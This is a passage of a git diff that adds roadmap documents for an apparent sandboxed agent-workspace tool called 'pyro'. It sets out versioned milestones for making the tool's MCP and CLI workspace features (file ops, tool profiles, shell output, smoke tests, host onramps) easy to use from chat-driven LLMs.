||||
|
|
|
|||
186
docs/roadmap/llm-chat-ergonomics.md
Normal file
186
docs/roadmap/llm-chat-ergonomics.md
Normal file
|
|
@ -0,0 +1,186 @@
|
|||
# LLM Chat Ergonomics Roadmap
|
||||
|
||||
This roadmap picks up after the completed workspace GA plan and focuses on one
|
||||
goal:
|
||||
|
||||
make the core agent-workspace use cases feel trivial from a chat-driven LLM
|
||||
interface.
|
||||
|
||||
Current baseline is `4.5.0`:
|
||||
|
||||
- `pyro mcp serve` is now the default product entrypoint
|
||||
- `workspace-core` is now the default MCP profile
|
||||
- one-shot `pyro run` still exists as the terminal companion path
|
||||
- workspaces already support seeding, sync push, exec, export, diff, snapshots,
|
||||
reset, services, PTY shells, secrets, network policy, and published ports
|
||||
- host-specific onramps exist for Claude Code, Codex, and OpenCode
|
||||
- the five documented use cases are now recipe-backed and smoke-tested
|
||||
- stopped-workspace disk tools now exist, but remain explicitly secondary
|
||||
|
||||
## What "Trivial In Chat" Means
|
||||
|
||||
The roadmap is done only when a chat-driven LLM can cover the main use cases
|
||||
without awkward shell choreography or hidden host-side glue:
|
||||
|
||||
- cold-start repo validation
|
||||
- repro plus fix loops
|
||||
- parallel isolated workspaces for multiple issues or PRs
|
||||
- unsafe or untrusted code inspection
|
||||
- review and evaluation workflows
|
||||
|
||||
More concretely, the model should not need to:
|
||||
|
||||
- patch files through shell-escaped `printf` or heredoc tricks
|
||||
- rely on opaque workspace IDs without a discovery surface
|
||||
- consume raw terminal control sequences as normal shell output
|
||||
- choose from an unnecessarily large tool surface when a smaller profile would
|
||||
work
|
||||
|
||||
The next gaps for the narrowed persona are now about real-project credibility:
|
||||
|
||||
- current-checkout startup is still brittle for messy local repos with unreadable,
|
||||
generated, or permission-sensitive files
|
||||
- the guest-backed smoke pack is strong, but it still proves shaped scenarios
|
||||
better than arbitrary local-repo readiness
|
||||
- the chat-host path still does not let users choose the sandbox environment as
|
||||
a first-class part of host connection and server startup
|
||||
- the product should not claim full whole-project development readiness until it
|
||||
qualifies a real-project loop beyond fixture-shaped use cases
|
||||
|
||||
## Locked Decisions
|
||||
|
||||
- keep the workspace product identity central; do not drift toward CI, queue,
|
||||
or runner abstractions
|
||||
- keep disk tools secondary and do not make them the main chat-facing surface
|
||||
- prefer narrow tool profiles and structured outputs over more raw shell calls
|
||||
- optimize the MCP/chat-host path first and keep the CLI companion path good
|
||||
enough to validate and debug it
|
||||
- lower-level SDK and repo substrate work can continue, but they should not
|
||||
drive milestone scope or naming
|
||||
- CLI-only ergonomics are allowed when the SDK and MCP surfaces already have the
|
||||
structured behavior natively
|
||||
- prioritize repo-aware startup, trust, and daily-loop speed before adding more
|
||||
low-level workspace surface area
|
||||
- for repo-root auto-detection and `--project-path` inside a Git checkout, the
|
||||
default project source should become Git-tracked files only
|
||||
- `--repo-url` remains the clean-clone path when users do not want to trust the
|
||||
local checkout as the startup source
|
||||
- environment selection must become first-class in the chat-host path before the
|
||||
product claims whole-project development readiness
|
||||
- real-project readiness must be proven with guest-backed qualification smokes
|
||||
that cover ignored, generated, and unreadable-file cases
|
||||
- breaking changes are acceptable while there are still no users and the
|
||||
chat-host product is still being shaped
|
||||
- every milestone below must also update docs, help text, runnable examples,
|
||||
and at least one real smoke scenario
|
||||
|
||||
## Milestones
|
||||
|
||||
1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) - Done
|
||||
2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) - Done
|
||||
3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done
|
||||
4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done
|
||||
5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done
|
||||
6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done
|
||||
7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done
|
||||
8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done
|
||||
9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) - Done
|
||||
10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) - Done
|
||||
11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) - Done
|
||||
12. [`4.1.0` Project-Aware Chat Startup](llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md) - Done
|
||||
13. [`4.2.0` Host Bootstrap And Repair](llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md) - Done
|
||||
14. [`4.3.0` Reviewable Agent Output](llm-chat-ergonomics/4.3.0-reviewable-agent-output.md) - Done
|
||||
15. [`4.4.0` Opinionated Use-Case Modes](llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md) - Done
|
||||
16. [`4.5.0` Faster Daily Loops](llm-chat-ergonomics/4.5.0-faster-daily-loops.md) - Done
|
||||
17. [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md) - Planned
|
||||
18. [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md) - Planned
|
||||
19. [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md) - Planned
|
||||
20. [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md) - Planned
|
||||
21. [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md) - Planned
|
||||
|
||||
Completed so far:
|
||||
|
||||
- `3.2.0` added model-native `workspace file *` and `workspace patch apply` so chat-driven agents
|
||||
can inspect and edit `/workspace` without shell-escaped file mutation flows.
|
||||
- `3.3.0` added workspace names, key/value labels, `workspace list`, `workspace update`, and
|
||||
`last_activity_at` tracking so humans and chat-driven agents can rediscover and resume the right
|
||||
workspace without external notes.
|
||||
- `3.4.0` added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and
|
||||
`workspace-full`, plus canonical profile-based OpenAI and MCP examples so chat hosts can start
|
||||
narrow and widen only when needed.
|
||||
- `3.5.0` added chat-friendly shell reads with plain-text rendering and idle batching so PTY
|
||||
sessions are readable enough to feed directly back into a chat model.
|
||||
- `3.6.0` added recipe docs and real guest-backed smoke packs for the five core workspace use
|
||||
cases so the stable product is now demonstrated as repeatable end-to-end stories instead of
|
||||
only isolated feature surfaces.
|
||||
- `3.7.0` removed the remaining shell glue from canonical CLI workspace flows with `--id-only`,
|
||||
`--text-file`, and `--patch-file`, so the shortest handoff path no longer depends on `python -c`
|
||||
extraction or `$(cat ...)` expansion.
|
||||
- `3.8.0` made `workspace-core` the obvious first MCP/chat-host profile from the first help and
|
||||
docs pass while keeping `workspace-full` as the 3.x compatibility default.
|
||||
- `3.9.0` added content-only workspace file and disk reads plus cleaner default human-mode
|
||||
transcript separation for files that do not end with a trailing newline.
|
||||
- `3.10.0` aligned the five guest-backed use-case smokes with their recipe docs and promoted
|
||||
`make smoke-use-cases` as the trustworthy verification path for the advertised workspace flows.
|
||||
- `3.11.0` added exact host-specific MCP onramps for Claude Code, Codex, and OpenCode so new
|
||||
chat-host users can copy one known-good setup example instead of translating the generic MCP
|
||||
config manually.
|
||||
- `4.0.0` flipped the default MCP/server profile to `workspace-core`, so the bare entrypoint now
|
||||
matches the recommended narrow chat-host profile across CLI, SDK, and package-level factories.
|
||||
- `4.1.0` made repo-root startup native for chat hosts, so bare `pyro mcp serve` can auto-detect
|
||||
the current Git checkout and let the first `workspace_create` omit `seed_path`, with explicit
|
||||
`--project-path` and `--repo-url` fallbacks when cwd is not the source of truth.
|
||||
- `4.2.0` adds first-class host bootstrap and repair helpers so Claude Code,
|
||||
Codex, and OpenCode users can connect or repair the supported chat-host path
|
||||
without manually composing raw MCP commands or config edits.
|
||||
- `4.3.0` adds a concise workspace review surface so users can inspect what the
|
||||
agent changed and ran since the last reset without reconstructing the
|
||||
session from several lower-level views by hand.
|
||||
- `4.4.0` adds named use-case modes so chat hosts can start from `repro-fix`,
|
||||
`inspect`, `cold-start`, or `review-eval` instead of choosing from the full
|
||||
generic workspace surface first.
|
||||
- `4.5.0` adds `pyro prepare`, daily-loop readiness in `pyro doctor`, and a
|
||||
real `make smoke-daily-loop` verification path so the local machine warmup
|
||||
story is explicit before the chat host connects.
|
||||
|
||||
Planned next:
|
||||
|
||||
- [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md)
|
||||
- [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md)
|
||||
- [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md)
|
||||
- [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md)
|
||||
- [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md)
|
||||
|
||||
## Expected Outcome
|
||||
|
||||
After this roadmap, the product should still look like an agent workspace, not
|
||||
like a CI runner with more isolation.
|
||||
|
||||
The intended model-facing shape is:
|
||||
|
||||
- one-shot work starts with `vm_run`
|
||||
- persistent work moves to a small workspace-first contract
|
||||
- file edits are structured and model-native
|
||||
- workspace discovery is human and model-friendly
|
||||
- shells are readable in chat
|
||||
- CLI handoff paths do not depend on ad hoc shell parsing
|
||||
- the recommended chat-host profile is obvious from the first MCP example
|
||||
- the documented smoke pack is trustworthy enough to use as a release gate
|
||||
- major chat hosts have copy-pasteable MCP setup examples instead of only a
|
||||
generic config template
|
||||
- human-mode content reads are copy-paste safe
|
||||
- the default bare MCP server entrypoint matches the recommended narrow profile
|
||||
- the five core use cases are documented and smoke-tested end to end
|
||||
- starting from the current repo feels native from the first chat-host setup
|
||||
- supported hosts can be connected or repaired without manual config spelunking
|
||||
- users can review one concise summary of what the agent changed and ran
|
||||
- the main workflows feel like named modes instead of one giant reference
|
||||
- reset and retry loops are fast enough to encourage daily use
|
||||
- repo-root startup is robust even when the local checkout contains ignored,
|
||||
generated, or unreadable files
|
||||
- chat-host users can choose the sandbox environment as part of the normal
|
||||
connect/start path
|
||||
- the product has guest-backed qualification for real local repos, not only
|
||||
shaped fixture scenarios
|
||||
- it becomes credible to tell a user they can develop a real project inside
|
||||
sandboxes, not just evaluate or patch one
|
||||
|
|
@ -0,0 +1,54 @@
|
|||
# `3.10.0` Use-Case Smoke Trust And Recipe Fidelity
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make the documented use-case pack trustworthy enough to act like a real release
|
||||
gate for the advertised chat-first workflows.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
No new core API is required in this milestone.
|
||||
|
||||
The user-visible change is reliability and alignment:
|
||||
|
||||
- `make smoke-use-cases` should pass cleanly on a supported host
|
||||
- each smoke scenario should verify the same user-facing path the recipe docs
|
||||
actually recommend
|
||||
- smoke assertions should prefer structured CLI, SDK, or MCP results over
|
||||
brittle checks against human-mode text formatting when both exist
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- fix the current repro-plus-fix drift as part of this milestone
|
||||
- keep the focus on user-facing flow fidelity, not on broad internal test
|
||||
harness refactors
|
||||
- prefer exact recipe fidelity over inventing more synthetic smoke-only steps
|
||||
- if the docs say one workflow is canonical, the smoke should exercise that same
|
||||
workflow directly
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no new workspace capability just to make the smoke harness easier to write
|
||||
- no conversion of the product into a CI/reporting framework
|
||||
- no requirement that every README transcript becomes a literal byte-for-byte
|
||||
golden test
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- `make smoke-use-cases` passes end to end on a supported host
|
||||
- the repro-plus-fix smoke proves the documented patch path without relying on
|
||||
fragile human-output assumptions
|
||||
- each use-case recipe still maps to one real guest-backed smoke target
|
||||
- a maintainer can trust a red smoke result as a real user-facing regression,
|
||||
not just harness drift
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- use-case smoke scenarios audited and corrected to follow the canonical docs
|
||||
- any brittle human-output assertions replaced with structured checks where
|
||||
possible
|
||||
- docs updated if a recipe or expected output changed during the alignment pass
|
||||
- at least one release/readiness note should point to the smoke pack as a
|
||||
trustworthy verification path once this lands
|
||||
|
|
@ -0,0 +1,56 @@
|
|||
# `3.11.0` Host-Specific MCP Onramps
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Remove the last translation step for major chat hosts by shipping exact,
|
||||
copy-pasteable MCP setup guidance for the hosts users actually reach for.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
No core runtime or workspace API change is required in this milestone.
|
||||
|
||||
The main user-visible additions are host-specific integration assets and docs:
|
||||
|
||||
- Claude setup should have a first-class maintained example
|
||||
- Codex should have a first-class maintained example
|
||||
- OpenCode should have a first-class maintained example
|
||||
- the integrations docs should show the shortest working path for each host and
|
||||
the same recommended `workspace-core` profile
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep the underlying server command the same:
|
||||
`pyro mcp serve --profile workspace-core`
|
||||
- treat host-specific configs as thin wrappers around the same MCP server
|
||||
- cover both package-without-install and already-installed variants where that
|
||||
materially improves copy-paste adoption
|
||||
- keep generic MCP config guidance, but stop forcing users of major hosts to
|
||||
translate it themselves
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no client-specific runtime behavior hidden behind host detection
|
||||
- no broad matrix of every MCP-capable editor or agent host
|
||||
- no divergence in terminology between host examples and the public contract
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a Claude user can copy one shipped example and connect without reading generic
|
||||
MCP docs first
|
||||
- a Codex user can copy one shipped example or exact `codex mcp add ...` command
|
||||
- an OpenCode user can copy one shipped config snippet without guessing its MCP
|
||||
schema shape
|
||||
- the README and integrations docs point to those host-specific examples from
|
||||
the first integration pass
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- new shipped config examples for Codex and OpenCode
|
||||
- README, install docs, and integrations docs updated to point at the new host
|
||||
examples
|
||||
- at least one short host-specific quickstart section or example command for
|
||||
each supported host family
|
||||
- runnable or documented verification steps that prove the shipped examples stay
|
||||
current
|
||||
|
|
@ -0,0 +1,65 @@
|
|||
# `3.2.0` Model-Native Workspace File Ops
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Remove shell quoting and hidden host-temp-file choreography from normal
|
||||
chat-driven workspace editing loops.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
Planned additions:
|
||||
|
||||
- `pyro workspace file list WORKSPACE_ID [PATH] [--recursive]`
|
||||
- `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N]`
|
||||
- `pyro workspace file write WORKSPACE_ID PATH --text TEXT`
|
||||
- `pyro workspace patch apply WORKSPACE_ID --patch TEXT`
|
||||
- matching Python SDK methods:
|
||||
- `list_workspace_files`
|
||||
- `read_workspace_file`
|
||||
- `write_workspace_file`
|
||||
- `apply_workspace_patch`
|
||||
- matching MCP tools:
|
||||
- `workspace_file_list`
|
||||
- `workspace_file_read`
|
||||
- `workspace_file_write`
|
||||
- `workspace_patch_apply`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- scope all operations strictly under `/workspace`
|
||||
- keep these tools text-first and bounded in size
|
||||
- make patch application explicit and deterministic
|
||||
- keep `workspace export` as the host-out path for copying results back
|
||||
- keep shell and exec available for process-oriented work, not as the only way
|
||||
to mutate files
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no arbitrary host filesystem access
|
||||
- no generic SFTP or file-manager product identity
|
||||
- no replacement of shell or exec for process lifecycle work
|
||||
- no hidden auto-merge behavior for conflicting patches
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- an agent reads a file, applies a patch, reruns tests, and exports the result
|
||||
without shell-escaped editing tricks
|
||||
- an agent inspects a repo tree and targeted files inside one workspace without
|
||||
relying on host-side temp paths
|
||||
- a repro-plus-fix loop is practical from MCP alone, not only from a custom
|
||||
host wrapper
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- public contract updates across CLI, SDK, and MCP
|
||||
- docs and examples that show model-native file editing instead of shell-heavy
|
||||
file writes
|
||||
- at least one real smoke scenario centered on a repro-plus-fix loop
|
||||
|
||||
## Outcome
|
||||
|
||||
- shipped `workspace file list|read|write` and `workspace patch apply` across CLI, SDK, and MCP
|
||||
- kept the surface scoped to started workspaces and `/workspace`
|
||||
- updated docs, help text, examples, and smoke coverage around model-native editing flows
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
# `3.3.0` Workspace Naming And Discovery
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make multiple concurrent workspaces manageable from chat without forcing the
|
||||
user or model to juggle opaque IDs.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
Planned additions:
|
||||
|
||||
- `pyro workspace create ... --name NAME`
|
||||
- `pyro workspace create ... --label KEY=VALUE`
|
||||
- `pyro workspace list`
|
||||
- `pyro workspace update WORKSPACE_ID [--name NAME] [--label KEY=VALUE] [--clear-label KEY]`
|
||||
- matching Python SDK methods:
|
||||
- `list_workspaces`
|
||||
- `update_workspace`
|
||||
- matching MCP tools:
|
||||
- `workspace_list`
|
||||
- `workspace_update`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep workspace IDs as the stable machine identifier
|
||||
- treat names and labels as operator-friendly metadata and discovery aids
|
||||
- surface last activity, expiry, service counts, and summary metadata in
|
||||
`workspace list`
|
||||
- make name and label metadata visible in create, status, and list responses
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no scheduler or queue abstractions
|
||||
- no project-wide branch manager
|
||||
- no hidden background cleanup policy beyond the existing TTL model
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a user can keep separate workspaces for two issues or PRs and discover them
|
||||
again without external notes
|
||||
- a chat agent can list active workspaces, choose the right one, and continue
|
||||
work after a later prompt
|
||||
- review and evaluation flows can tag or name workspaces by repo, bug, or task
|
||||
intent
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- README and install docs that show parallel named workspaces
|
||||
- examples that demonstrate issue-oriented workspace naming
|
||||
- smoke coverage for at least one multi-workspace flow
|
||||
- public contract, CLI help, and examples that show `workspace list` and `workspace update`
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
# `3.4.0` Tool Profiles And Canonical Chat Flows
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make the model-facing surface intentionally small for chat hosts, while keeping
|
||||
the full workspace product available when needed.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
Planned additions:
|
||||
|
||||
- `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}`
|
||||
- matching Python SDK and server factory configuration for the same profiles
|
||||
- one canonical OpenAI Responses example that uses the workspace-core profile
|
||||
- one canonical MCP/chat example that uses the same profile progression
|
||||
|
||||
Representative profile intent:
|
||||
|
||||
- `vm-run`: one-shot only
|
||||
- `workspace-core`: create, status, exec, file ops, diff, reset, export, delete
|
||||
- `workspace-full`: shells, services, snapshots, secrets, network policy, and
|
||||
the rest of the stable workspace surface
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep the current full surface available for advanced users
|
||||
- add profiles as an exposure control, not as a second product line
|
||||
- make profile behavior explicit in docs and help text
|
||||
- keep profile names stable once shipped
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no framework-specific wrappers inside the core package
|
||||
- no server-side planner that chooses tools on the model's behalf
|
||||
- no hidden feature gating by provider or client
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a chat host can expose only `vm_run` for one-shot work
|
||||
- a chat host can promote the same agent to `workspace-core` without suddenly
|
||||
dumping the full advanced surface on the model
|
||||
- a new integrator can copy one example and understand the intended progression
|
||||
from one-shot to stable workspace
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- integration docs that explain when to use each profile
|
||||
- canonical chat examples for both provider tool calling and MCP
|
||||
- smoke coverage for at least one profile-limited chat loop
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
# `3.5.0` Chat-Friendly Shell Output
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Keep persistent PTY shells powerful, but make their output clean enough to feed
|
||||
directly back into a chat model.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
Planned additions:
|
||||
|
||||
- `pyro workspace shell read ... --plain`
|
||||
- `pyro workspace shell read ... --wait-for-idle-ms N`
|
||||
- matching Python SDK parameters:
|
||||
- `plain=True`
|
||||
- `wait_for_idle_ms=...`
|
||||
- matching MCP request fields on `shell_read`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep raw PTY reads available for advanced clients
|
||||
- plain mode should strip terminal control sequences and normalize line endings
|
||||
- idle waiting should batch the next useful chunk of output without turning the
|
||||
shell into a separate job scheduler
|
||||
- keep cursor-based reads so polling clients stay deterministic
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no replacement of the PTY shell with a fake line-based shell
|
||||
- no automatic command synthesis inside shell reads
|
||||
- no shell-only workflow that replaces `workspace exec`, services, or file ops
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a chat agent can open a shell, write a command, and read back plain text
|
||||
output without ANSI noise
|
||||
- long-running interactive setup or debugging flows are readable in chat
|
||||
- shell output is useful as model input without extra client-side cleanup
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- help text that makes raw versus plain shell reads explicit
|
||||
- examples that show a clean interactive shell loop
|
||||
- smoke coverage for at least one shell-driven debugging scenario
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
# `3.6.0` Use-Case Recipes And Smoke Packs
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Turn the five target workflows into first-class documented stories and runnable
|
||||
verification paths.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
No new core API is required in this milestone.
|
||||
|
||||
The main deliverable is packaging the now-mature workspace surface into clear
|
||||
recipes, examples, and smoke scenarios that prove the intended user experience.
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- build on the existing stable workspace contract and the earlier chat-first
|
||||
milestones
|
||||
- keep the focus on user-facing flows, not internal test harness complexity
|
||||
- treat the recipes as product documentation, not private maintainer notes
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no new CI or scheduler abstractions
|
||||
- no speculative cloud orchestration work
|
||||
- no broad expansion of disk tooling as the main story
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- cold-start repo validation has a documented and smoke-tested flow
|
||||
- repro-plus-fix loops have a documented and smoke-tested flow
|
||||
- parallel isolated workspaces have a documented and smoke-tested flow
|
||||
- unsafe or untrusted code inspection has a documented and smoke-tested flow
|
||||
- review and evaluation workflows have a documented and smoke-tested flow
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- a dedicated doc or section for each target use case
|
||||
- at least one canonical example per use case in CLI, SDK, or MCP form
|
||||
- smoke scenarios that prove each flow on a real Firecracker-backed path
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
# `3.7.0` Handoff Shortcuts And File Input Sources
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Remove the last bits of shell plumbing from the canonical CLI workspace flows so
|
||||
they feel productized instead of hand-assembled.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
Planned additions:
|
||||
|
||||
- `pyro workspace create ... --id-only`
|
||||
- `pyro workspace shell open ... --id-only`
|
||||
- `pyro workspace file write WORKSPACE_ID PATH --text-file PATH`
|
||||
- `pyro workspace patch apply WORKSPACE_ID --patch-file PATH`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep existing `--json`, `--text`, and `--patch` stable
|
||||
- treat these additions as CLI-only shortcuts over already-structured behavior
|
||||
- make `--text` and `--text-file` mutually exclusive
|
||||
- make `--patch` and `--patch-file` mutually exclusive
|
||||
- read file-backed text and patch inputs as UTF-8 text
|
||||
- keep `/workspace` scoping and current patch semantics unchanged
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no new binary file-write story
|
||||
- no new SDK or MCP surface just to mirror CLI shorthand flags
|
||||
- no hidden patch normalization beyond the current patch-apply rules
|
||||
- no change to the stable `workspace_id` contract
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- README, install docs, and first-run docs can create one workspace ID without
|
||||
`python -c` output parsing
|
||||
- a user can apply a patch from `fix.patch` without `$(cat fix.patch)` shell
|
||||
expansion
|
||||
- a user can write one text file from a host file directly, without
|
||||
shell-escaped inline text
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- top-level workspace walkthroughs rewritten around the new shortcut flags
|
||||
- CLI help text updated so the shortest happy path is copy-paste friendly
|
||||
- at least one smoke scenario updated to use a file-backed patch input
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
# `3.8.0` Chat-Host Onramp And Recommended Defaults
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make the recommended chat-host entrypoint obvious before a new integrator has
|
||||
to read deep integration docs.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
No breaking API change is required in this milestone.
|
||||
|
||||
The main user-visible change is guidance:
|
||||
|
||||
- `pyro mcp serve` help text should clearly call `workspace-core` the
|
||||
recommended chat-host profile
|
||||
- README, install docs, first-run docs, and shipped MCP configs should all lead
|
||||
with `workspace-core`
|
||||
- `workspace-full` should be framed as the explicit advanced/compatibility
|
||||
surface for `3.x`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep the `3.x` compatibility default unchanged
|
||||
- do not add new profile names
|
||||
- make the recommendation visible from help text and top-level docs, not only
|
||||
the integrations page
|
||||
- keep provider examples and MCP examples aligned on the same profile story
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no breaking default flip to `workspace-core` in `3.x`
|
||||
- no new hidden server behavior based on client type
|
||||
- no divergence between CLI, SDK, and MCP terminology for the profile ladder
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a new chat-host integrator sees `workspace-core` as the recommended first MCP
|
||||
profile from the first help/doc pass
|
||||
- the top-level docs include one tiny chat-host quickstart near the first-run
|
||||
path
|
||||
- shipped config examples and provider examples all align on the same profile
|
||||
progression
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- top-level docs updated with a minimal chat-host quickstart
|
||||
- `pyro mcp serve --help` rewritten to emphasize `workspace-core`
|
||||
- examples and config snippets audited so they all agree on the recommended
|
||||
profile
|
||||
|
|
@ -0,0 +1,50 @@
|
|||
# `3.9.0` Content-Only Reads And Human Output Polish
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make human-mode content reads cleaner for chat logs, terminal transcripts, and
|
||||
copy-paste workflows.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
Planned additions:
|
||||
|
||||
- `pyro workspace file read WORKSPACE_ID PATH --content-only`
|
||||
- `pyro workspace disk read WORKSPACE_ID PATH --content-only`
|
||||
|
||||
Behavioral polish:
|
||||
|
||||
- default human-mode `workspace file read` and `workspace disk read` should
|
||||
always separate content from summaries cleanly, even when the file lacks a
|
||||
trailing newline
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep JSON output unchanged
|
||||
- keep human-readable summary lines by default
|
||||
- `--content-only` should print only the file content and no summary footer
|
||||
- keep current regular-file-only constraints for live and stopped-disk reads
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no new binary dumping contract
|
||||
- no removal of human summaries from the default read path
|
||||
- no expansion into a generic pager or TUI reader
|
||||
- no change to SDK or MCP structured read results, which are already summary-free
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- reading a text file with no trailing newline still produces a clean transcript
|
||||
- a user can explicitly request content-only output for copy-paste or shell
|
||||
piping
|
||||
- docs can show both summary mode and content-only mode without caveats about
|
||||
messy output joining
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- CLI help text updated for file and disk read commands
|
||||
- stable docs and transcripts revised to use `--content-only` where it improves
|
||||
readability
|
||||
- tests that cover missing trailing newline cases in human mode
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
# `4.0.0` Workspace-Core Default Profile
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make the default MCP entrypoint match the product's recommended chat-first path
|
||||
instead of preserving a wider compatibility surface by default.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
This is an intentional breaking default change for the next major release:
|
||||
|
||||
- `pyro mcp serve` should default to `workspace-core`
|
||||
- `create_server()` should default to `profile="workspace-core"`
|
||||
- `Pyro.create_server()` should default to `profile="workspace-core"`
|
||||
|
||||
The full advanced surface remains available through explicit opt-in:
|
||||
|
||||
- `pyro mcp serve --profile workspace-full`
|
||||
- `create_server(profile="workspace-full")`
|
||||
- `Pyro.create_server(profile="workspace-full")`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep all three profile names unchanged
|
||||
- do not remove `workspace-full`
|
||||
- make the default flip explicit in docs, changelog, help text, and migration
|
||||
notes
|
||||
